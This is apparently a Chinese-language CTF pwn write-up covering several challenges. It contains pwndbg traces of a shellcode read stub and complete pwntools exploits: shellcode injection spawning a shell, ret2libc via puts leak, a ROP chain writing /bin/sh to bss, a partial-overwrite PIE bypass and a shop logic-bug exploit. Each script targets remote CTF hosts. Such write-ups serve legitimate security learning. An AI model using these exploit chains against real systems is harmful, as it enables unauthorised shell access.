*RCX 0x7f8da8956000 ◂— 0x50f
RDX 2
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
RSP 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP 0x5638c4102247 (main+126) ◂— mov rdx, 0x500
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7f8da8849749 <read+121> mov dword ptr fs:[rdx], eax [0x7f8da87436c8] <= 0x200
0x7f8da884974c <read+124> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff
0x7f8da8849753 <read+131> ret <main+119>
↓
0x5638c4102240 <main+119> mov rsi, qword ptr [rbp - 0x10] RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
0x5638c4102244 <main+123> mov rcx, rsi RCX => 0x7f8da8956000 ◂— 0x50f
► 0x5638c4102247 <main+126> mov rdx, 0x500 RDX => 0x500
0x5638c410224e <main+133> mov rax, 0 RAX => 0
0x5638c4102255 <main+140> call rcx <0x7f8da8956000>
0x5638c4102257 <main+142> mov rax, qword ptr [rbp - 0x10]
0x5638c410225b <main+146> mov esi, 0x1000 ESI => 0x1000
0x5638c4102260 <main+151> mov rdi, rax
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x5638c4102247 main+126
1 0x7f8da876fd68 __libc_start_call_main+120
2 0x7f8da876fe25 __libc_start_main+133
3 0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00005638c410224e in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 2
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da8956000 ◂— 0x50f
*RDX 0x500
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
RSP 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP 0x5638c410224e (main+133) ◂— mov rax, 0
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7f8da884974c <read+124> mov rax, 0xffffffffffffffff RAX => 0xffffffffffffffff
0x7f8da8849753 <read+131> ret <main+119>
↓
0x5638c4102240 <main+119> mov rsi, qword ptr [rbp - 0x10] RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
0x5638c4102244 <main+123> mov rcx, rsi RCX => 0x7f8da8956000 ◂— 0x50f
0x5638c4102247 <main+126> mov rdx, 0x500 RDX => 0x500
► 0x5638c410224e <main+133> mov rax, 0 RAX => 0
0x5638c4102255 <main+140> call rcx <0x7f8da8956000>
0x5638c4102257 <main+142> mov rax, qword ptr [rbp - 0x10]
0x5638c410225b <main+146> mov esi, 0x1000 ESI => 0x1000
0x5638c4102260 <main+151> mov rdi, rax
0x5638c4102263 <main+154> call munmap@plt <munmap@plt>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x5638c410224e main+133
1 0x7f8da876fd68 __libc_start_call_main+120
2 0x7f8da876fe25 __libc_start_main+133
3 0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00005638c4102255 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX 0
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da8956000 ◂— 0x50f
RDX 0x500
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
RSP 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP 0x5638c4102255 (main+140) ◂— call rcx
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
0x7f8da8849753 <read+131> ret <main+119>
↓
0x5638c4102240 <main+119> mov rsi, qword ptr [rbp - 0x10] RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
0x5638c4102244 <main+123> mov rcx, rsi RCX => 0x7f8da8956000 ◂— 0x50f
0x5638c4102247 <main+126> mov rdx, 0x500 RDX => 0x500
0x5638c410224e <main+133> mov rax, 0 RAX => 0
► 0x5638c4102255 <main+140> call rcx <0x7f8da8956000>
0x5638c4102257 <main+142> mov rax, qword ptr [rbp - 0x10]
0x5638c410225b <main+146> mov esi, 0x1000 ESI => 0x1000
0x5638c4102260 <main+151> mov rdi, rax
0x5638c4102263 <main+154> call munmap@plt <munmap@plt>
0x5638c4102268 <main+159> cmp eax, -1
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x5638c4102255 main+140
1 0x7f8da876fd68 __libc_start_call_main+120
2 0x7f8da876fe25 __libc_start_main+133
3 0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg> s
0x00007f8da8956000 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX 0
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da8956000 ◂— 0x50f
RDX 0x500
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
*RSP 0x7ffdb3a24198 —▸ 0x5638c4102257 (main+142) ◂— mov rax, qword ptr [rbp - 0x10]
*RIP 0x7f8da8956000 ◂— 0x50f
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x7f8da8956000 syscall <SYS_read>
fd: 0 (pipe:[214863])
buf: 0x7f8da8956000 ◂— 0x50f
nbytes: 0x500
0x7f8da8956002 add byte ptr [rax], al
0x7f8da8956004 add byte ptr [rax], al
0x7f8da8956006 add byte ptr [rax], al
0x7f8da8956008 add byte ptr [rax], al
0x7f8da895600a add byte ptr [rax], al
0x7f8da895600c add byte ptr [rax], al
0x7f8da895600e add byte ptr [rax], al
0x7f8da8956010 add byte ptr [rax], al
0x7f8da8956012 add byte ptr [rax], al
0x7f8da8956014 add byte ptr [rax], al
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a24198 —▸ 0x5638c4102257 (main+142) ◂— mov rax, qword ptr [rbp - 0x10]
01:0008│-010 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
02:0010│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
03:0018│ rbp 0x7ffdb3a241b0 ◂— 1
04:0020│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
05:0028│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
06:0030│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
07:0038│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0 0x7f8da8956000 None
1 0x5638c4102257 main+142
2 0x7f8da876fd68 __libc_start_call_main+120
3 0x7f8da876fe25 __libc_start_main+133
pwndbg>
► 0x5638c4102255 <main+140> call rcx <0x7f8da8956000>
这个地方就是步进call rcx指令了
对应的就是buf区段内容的一个执行
这个时候对应的寄存器的数据是:
*RAX 0
RBX 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX 0x7f8da8956000 ◂— 0x50f
RDX 0x500
RDI 0
RSI 0x7f8da8956000 ◂— 0x50f
R8 0xffffffff
R9 0
R10 0x22
R11 0x246
R12 0
R13 0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14 0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15 0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP 0x7ffdb3a241b0 ◂— 1
RSP 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP 0x5638c4102255 (main+140) ◂— call rcx
在x86的系统调用中,rax为0时,相当于进行的是一个sys_read
详见:
用s进行步入也能看到
► 0x7f8da8956000 syscall <SYS_read> fd: 0 (pipe:[214863]) buf: 0x7f8da8956000 ◂— 0x50f nbytes: 0x500
这里就说明是在进行一个sys_read了
实际上就是buf区等价于一个
read(0,buf,0x500)
0是代表标准读入,所以实际上就是有两次传入的机会
但第一次只能传入两字节
第二次才充裕
所以第一次我们需要传入一个两字节的syscall进去
而且由于需要buf内容里出现了syscall,在出现((void (fastcall *)(_QWORD, void *, int64))buf)(0LL, buf, 1280LL);后,buf内容作为函数的效果才会显现
如果第一次传入内容就是垃圾数据,进程就会直接崩溃
只有一开始就传入两个字节的syscall才能使((void (fastcall *)(_QWORD, void *, int64))buf)(0LL, buf, 1280LL);等价变成sys_read
但如果,buf一开始被syscall占据了两字节,所以就还得在第二次传入时,将那两个第一次传入的字节给覆盖掉
这里exp使用的是用nop来覆盖,实际上用b’a’ *(2)也是可以的
from pwn import *
#p = process('./attachment')
p = remote("gz.imxbt.cn",20384)
context.arch='amd64'
# gdb.attach(p,'b $rebase(0x1255)')
shellcode = asm("syscall") # 即'\x0f\x05'
p.send(shellcode)
shellcode = b'\x90'*2 + asm(shellcraft.sh()) # '\x90'为nop的汇编,覆盖掉之前的syscall
p.send(shellcode)
p.interactive()
她与你皆失 (gets✌)
原本想尝试传入shellcode的
但是交互很奇怪
先[*] Switching to interactive mode
然后才出main函数会输出的内容
输入一个单指令就会直接EOF
所以最后还是选择了老老实实去打r2libc
exp:
from pwn import *
from LibcSearcher import *
io = remote('gz.imxbt.cn',20283)
# io=process("./pwn")
elf = ELF('./pwn')
libc= ELF('./libc.so.6')
ret_add =0x000000000040101a
pop_rdi =0x0000000000401176
main_add =0x00000000004011DF
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0xa
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'do?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
# libc = LibcSearcher('puts',puts_addr) # libc6_2.27-0ubuntu2_amd64
#
# libc_base = puts_addr - libc.dump('puts')
# system_add = libc_base + libc.dump('system')
# bin_sh_add = libc_base + libc.dump('str_bin_sh')
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'do?', payload2)
io.interactive()
彻底失去她 (gets✌)
checksec
64位
main:
int __fastcall main(int argc, const char **argv, const char **envp)
{
_BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF
init();
puts("Thank you for helping me find her.");
puts("But she has left me for good this time, what should I do?");
puts("By the way, I still don't know your name, could you tell me your name?");
read(0, buf, 0x100uLL);
return 0;
}
没找到/bin/sh
那只能传进去了
有看到system函数
int present()
{
return system("ls");
}
找到system函数地址
ROPgadget 找找前三个寄存器
rdi,rsi,rdx
通过传参,写入bss段就好了
.bss:00000000004040A0 public buffer
.bss:00000000004040A0 buffer db ? ;
.bss:00000000004040A1 db ? ;
.bss:00000000004040A2 db ? ;
.bss:00000000004040A3 db ? ;
.bss:00000000004040A4 db ? ;
.bss:00000000004040A5 db ? ;
.bss:00000000004040A6 db ? ;
.bss:00000000004040A7 db ? ;
.bss:00000000004040A8 db ? ;
.bss:00000000004040A9 db ? ;
.bss:00000000004040AA db ? ;
.bss:00000000004040AB db ? ;
.bss:00000000004040AC db ? ;
.bss:00000000004040AD db ? ;
.bss:00000000004040AE db ? ;
.bss:00000000004040AF db ? ;
.bss:00000000004040B0 db ? ;
.bss:00000000004040B1 db ? ;
.bss:00000000004040B2 db ? ;
.bss:00000000004040B3 db ? ;
.bss:00000000004040B4 db ? ;
.bss:00000000004040B5 db ? ;
.bss:00000000004040B6 db ? ;
.bss:00000000004040B7 db ? ;
.bss:00000000004040B8 db ? ;
.bss:00000000004040B9 db ? ;
.bss:00000000004040BA db ? ;
.bss:00000000004040BB db ? ;
.bss:00000000004040BC db ? ;
.bss:00000000004040BD db ? ;
.bss:00000000004040BE db ? ;
.bss:00000000004040BF db ? ;
.bss:00000000004040C0 db ? ;
.bss:00000000004040C1 db ? ;
.bss:00000000004040C2 db ? ;
.bss:00000000004040C3 db ? ;
.bss:00000000004040C4 db ? ;
.bss:00000000004040C5 db ? ;
.bss:00000000004040C6 db ? ;
.bss:00000000004040C7 db ? ;
.bss:00000000004040C8 db ? ;
.bss:00000000004040C9 db ? ;
.bss:00000000004040CA db ? ;
.bss:00000000004040CB db ? ;
.bss:00000000004040CC db ? ;
.bss:00000000004040CD db ? ;
.bss:00000000004040CE db ? ;
.bss:00000000004040CF db ? ;
.bss:00000000004040D0 db ? ;
.bss:00000000004040D1 db ? ;
.bss:00000000004040D2 db ? ;
.bss:00000000004040D3 db ? ;
.bss:00000000004040D4 db ? ;
.bss:00000000004040D5 db ? ;
.bss:00000000004040D6 db ? ;
.bss:00000000004040D7 db ? ;
.bss:00000000004040D7 _bss ends
.bss:00000000004040D7
写入后,再弄上一个read函数
三个寄存器一次传参,成为新构造的read函数的参数
然后再利用这个read读取传入的/bin/sh
(read函数和system函数利用elf.plt[‘函数名’]这个方法更快,避免找不到,找了老半天的菜鸡如是说)
from pwn import *
p = remote("gz.imxbt.cn",20291)
# p = process('./彻底失去她')
rdi = 0x0000000000401196
rsi = 0x00000000004011ad
rdx = 0x0000000000401265
ret = 0x000000000040101a
offset = 0xa+8
buf = 0x00000000004040A0
system = 0x000000000401080
read = 0x0000000000401090
payload = b'a' * (0xa + 8)
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(buf)
payload += p64(rdx) + p64(0x10)
payload += p64(read) # read(0, buf, 0x10)
payload += p64(rdi) + p64(buf) + p64(system)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
我把她丢了 (gets✌)
checksec
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\我把她丢了'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
普通64位栈溢出
有提权字符
vuln函数存在栈溢出漏洞
需要填充的数据长度得知
用ELFplt[“system”]方法找真实system地址
from pwn import *
p = remote("gz.imxbt.cn",20368)
elf = ELF("./我把她丢了")
offset = 0x70 + 8
system= elf.plt["system"]
ret = 0x000000000040101a
pop_rdi = 0x0000000000401196
bin_sh = 0x0000000000402008
print(hex(system))
payload = b'a'*(offset) + p64(pop_rdi) +p64(bin_sh) + p64(ret)+ p64(system)
p.sendline(payload)
p.interactive()
GHCTF
Welcome come to the world of PWN
这题可以和ACECTF中的PIE进行联动
ACECTF中的就是一个先导题
很遗憾没能第一时间意识到这俩实际上是一个考点
checksec
[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\GHpwn1'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
IDA打开
反编译结果很明显
main函数就执行两个主要函数
输出函数没什么好说的
全是put输出
func1函数里面存在很明显的栈溢出漏洞
ssize_t func1()
{
_BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF
return read(0, buf, 0x40uLL);
}
很简单的栈溢出
看函数还能发现存在backdoor函数
直接给了
int backdoor()
{
return system("/bin/sh");
}
很明显了
一般情况就是溢出字符加后门函数地址就好了
但是存在PIE保护
PIE保护的效果是什么
参考ACECTF中PIE题目
PIE的存在让我们拿不到远程交互的函数实际地址,就没法完成提权操作
而内存分页机制存在问题:程序地址最后 3
个 16
进制位是不会改变的
这个地方可参考ACECTF,ACECTF对此做了很不错的引导
那倒回此处
溢出拿到
已知因为内存分页机制,程序地址后三位不变
而关键的backdoor函数地址
.text:00000000000009C1 ; int backdoor()
.text:00000000000009C1 public backdoor
.text:00000000000009C1 backdoor proc near
.text:00000000000009C1 ; __unwind {
.text:00000000000009C1 push rbp
.text:00000000000009C2 mov rbp, rsp
.text:00000000000009C5 lea rdi, command ; "/bin/sh"
.text:00000000000009CC call _system
.text:00000000000009D1 nop
.text:00000000000009D2 pop rbp
.text:00000000000009D3 retn
.text:00000000000009D3 ; } // starts at 9C1
.text:00000000000009D3 backdoor endp
为了能够使用p8方法,我们采用后两位,若采用后三位则会使p8方法报错
不知道是不是PIE都默认使用p8方法,日后再进行验证
exp:
from pwn import *
p = remote('node6.anna.nssctf.cn',22606)
payload = b'a'*0x28 + p8(0xC5)
p.send(payload)
p.interactive()
ret2libc1
[*] 'C:\\Users\\26597\\Desktop\\ghpwn2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
直接填板子是不行的,没办法直接进行ret2libc
附件里面附带的函数很多
挨着逆向其逻辑
mian函数里面加载了菜单函数
通过switch语句进行选择项
int __fastcall main(int argc, const char **argv, const char **envp)
{
init(argc, argv, envp);
while ( 1 )
{
menu();
switch ( (unsigned int)read_count() )
{
case 1u:
flower();
break;
case 2u:
books();
break;
case 3u:
hell_money();
break;
case 4u:
clothing();
break;
case 5u:
shop();
break;
case 6u:
check_money();
break;
case 7u:
see_it();
break;
default:
puts("Invalid choose");
break;
}
}
}
这里看到存在7个选项
但是在菜单函数中,只给出了6个puts内容对应前六个选项
int menu()
{
puts("Welcome to shop, what do you buy?");
puts("1.flowers");
puts("2.books");
puts("3.hell money");
puts("4.clothing");
puts("5.buy my shop");
return puts("6.check youer money");
}
所以第七个选项很明显是存在问题的
进入第七个选项对应的函数
__
int64 see_it()
{
__int64 result; // rax
int count; // [rsp+Ch] [rbp-4h]
puts("Barter?!1000$ = 1hell_money");
printf("How much do you exchange?");
count = read_count();
what_can_I_say -= count;
result = (unsigned int)(money + 1000 * count);
money += 1000 * count;
return result;
}
看得出来这里存在两种货币
money和hell_money
1hm = 1000m
然后在其他选项中,均是用m进行交易
hell_money也是可以通过money进行购买的
预期解应该是不断用 money
购买 holl_money
然后用 holl_money
购买 money
使得 money
能购买整个商店,然后 ret2libc
但是直接进入选项7换money,hell_money成负数也没关系,直接就能出
交互结果:
Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money
6
you have 1000 $
you have 0 hell_money
Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money
7
Barter?!1000$ = 1hell_money
How much do you exchange?
1000000
Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money
6
you have 1000001000 $
you have -1000000 hell_money
Welcome to shop, what do you buy?
可以看到这里直接拿到了足够的money,但hell_money 直接成了负数
但是存在栈溢出漏洞的购买函数shop()是只需要money的
也就是说,存在非预期解,直接换购money后直接进行ret2libc即可,不需要hm和m互相换购,也就是不需要过一遍选项三中的hell_money函数
exp:
from pwn import *
io = remote('node1.anna.nssctf.cn',28599)
# io=process("./pwn")
elf = ELF('./attachment')
libc= ELF('./libc.so.6')
io.sendline(b'7')
io.recv()
io.sendline(b'1000000')
io.recv()
io.sendline(b'5')
ret_add =0x0000000000400579
pop_rdi =0x0000000000400d73
main_add =0x0000000000400B1E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))
offset=0x40
payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'it!!!', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))
# libc = LibcSearcher('puts',puts_addr) # libc6_2.27-0ubuntu2_amd64
# libc_base = puts_addr - libc.dump('puts')
# system_add = libc_base + libc.dump('system')
# bin_sh_add = libc_base + libc.dump('str_bin_sh')
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'it!!!', payload2)
io.interactive()